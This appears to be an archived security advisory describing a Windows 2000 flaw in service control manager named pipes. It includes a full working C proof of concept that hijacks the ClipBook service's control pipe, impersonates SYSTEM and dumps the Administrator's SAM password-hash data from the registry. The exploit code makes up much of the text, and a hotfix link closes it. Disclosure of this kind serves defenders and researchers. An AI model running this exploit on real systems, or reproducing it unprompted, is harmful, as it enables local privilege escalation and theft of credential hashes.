|
COMMAND kernel SYSTEMS AFFECTED Win 2000 PROBLEM Mike Schiffman found following (Guardent Security Advisory). A vulnerability in the way Windows 2000 handles named pipes allows any non-privileged user to elevate his or her current security context to that of an arbitrary service (started by the service control manager). By exploiting this bug, a non-privileged local user can gain privileged access to the system. Guardent discovered and successfully exploited this vulnerability in Microsoft Windows 2000. Guardent's research and development team notified Microsoft when the vulnerability was initially found and worked with them to fix the problem. The vulnerability resides in the communication algorithm used to implement a client/server architecture between the service control manager (SCM) and the services started by the SCM. By exploiting this vulnerability, a malicious or unauthorized process has the opportunity to effectively become the server-end of a named pipe. A service, started by the SCM, will connect to the named pipe, and after becoming the server-end of the pipe, the process has the ability to impersonate the security context of the client connected to the pipe, which in this case is an NT Service. The first step involved in exploiting the vulnerability is to determine what the name of the next NT SCM control pipe will be. This name can be gleaned from the registry: HKLM\System\CurrentControlSet\Control\ServiceCurrent. Step two: increment the value and append it to the string: "\\.\pipe\net\NtControlPipe". Step three: create a named pipe using this name and wait for pipe clients. Step four: after the pipe has been created, instruct the SCM to start an arbitrary service. All services have a security descriptor associated with them that dictates to the SCM which users can perform which actions to the service in question. Included with the release of Windows 2000 are numerous services with a security descriptor that allows interactive accounts to start them, and which also run as LocalSystem. One example is "ClipBook". At this point, the service that was recently instructed to start has connected to the malicious pipe (rather than the SCM pipe as would normally do). Finally, the basic requirement for impersonation is to initiate a ReadFile call on the pipe. The malicious process now has the ability to impersonate the security context of the client by using the call ImpersonateNamedPipeClient. This effectively gives the malicious thread an impersonation token of the service that has connected to the pipe. The malicious process now has the opportunity to perform privileged operations under the security context of the service that has connected to the malicious named pipe. The process can now inject a remote thread, read process memory, or attempt to perform privilege elevation techniques to obtain administrator privileges. Here is a proof of concept. If it doesn't work with your compiler or you don't have one, too bad. It does work with the compiler and the OS version listed below. /* * Proof of Concept * Windows2000 services named pipe vulnerability * * Author: Maceo * * Compiled with MS VC++ 6.0 SP3 * * Compiled and tested on: * D:\>uname -sv * Windows2000 5.0.2195 * * Proof of concept: This code abuses the clipbook service * to run as the SYSTEM account and then dumps information * from the local SAM database. * * This file is for educational purposes only. As many * would agree, the default install of a W2K server is * inherently insecure against interactive users. One * does not have to dig very hard to find a way to * elevate a users privileges when placed in an interactive * situation, such as logged in at a console. For instance: * D:\>time * The current time is: 23:28:38.42 * D:\>at 23:29 /interactive cmd.exe * * It is with this in mind I release the following code. * * Disclaimer: This file is intended as proof of concept, and * is not intended to be used for illegal purposes. The author * does not accept responsibility for ANY damage incurred * by the use of it. * */ #include <stdio.h> #include <windows.h> #define ABUSE_SVC "clipbook" #define SVC_KEY "SYSTEM\\CurrentControlSet\\Control\\ServiceCurrent" #define SAM_KEY "SAM\\SAM\\Domains\\Account\\Users\\000001F4" int main( ) { HKEY hOpen; DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); char szNetCmd[256]; // make sure the service we want to abuse is stopped. // sprintf (szNetCmd, "net stop %s", ABUSE_SVC); system (szNetCmd); // open the current service number key // if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SVC_KEY, 0, KEY_READ, &hOpen)) { printf ("Failed to open key:\n %s\n", SVC_KEY); return 1; } // read the key // if (RegQueryValueEx (hOpen, "", NULL, &dwType, (BYTE *) &dwNumber, &dwSize)) { RegCloseKey (hOpen); printf ("Failed to read key:\n %s\n", SVC_KEY); return 2; } // close the key // RegCloseKey (hOpen); // build the next named pipe name // char szPipe[64]; sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", ++dwNumber); // create the named pipe before scm can // HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } // start the service we are going to abuse. // sprintf(szNetCmd, "start /min net start %s", ABUSE_SVC); system(szNetCmd); // wait for the service to connect // ConnectNamedPipe (hPipe, NULL); // read a byte of data from the client // if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL)) { printf ("Failed to read the named pipe.\n"); CloseHandle(hPipe); return 4; } // assume the identity of the client // if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } // display impersonating users name // dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); // Assume we are SYSTEM since it is the default, // and let's crack open the SAM database and // lookup rid 500 (Administrator unless name has been changed) if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SAM_KEY, 0, KEY_READ, &hOpen)) { printf ("Failed to open key:\n %s\n", SAM_KEY); return 1; } // read the F key // dwSize = 2048; BYTE szData[2048]; if (RegQueryValueEx (hOpen, "F", NULL, &dwType, szData, &dwSize)) { RegCloseKey (hOpen); printf ("Failed to read key:\n %s\\F\n", SAM_KEY); return 2; } // output the key // printf ("Dumping SAM for RID 500 ...\n\n"); printf ("F:0x"); for (DWORD i = 0; i < dwSize; i++) { printf ("%2.2x", (DWORD) szData[i]); } printf ("\n\n"); // read the V key // dwSize = 2048; if (RegQueryValueEx (hOpen, "V", NULL, &dwType, szData, &dwSize)) { RegCloseKey (hOpen); printf ("Failed to read key:\n %s\\V\n", SAM_KEY); return 2; } // output the key // printf ("V:0x"); for (i = 0; i < dwSize; i++) { printf ("%2.2x", (DWORD) szData[i]); } printf ("\n"); // clean up // RegCloseKey (hOpen); CloseHandle(hPipe); return 0; } Just to set the record straight, the AT command is accessible to Administrators only under a default installation of W2K, so the idea its used (any more) to do privilege escalation is likely borne out of always running as Administrator (or member of). SOLUTION Guardent notified Microsoft of this issue immediately after discovering and verifying the problem. As a result, Microsoft was able to locate the source of the vulnerability and create a hotfix to alleviate the problem. The hotfix can be downloaded from: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432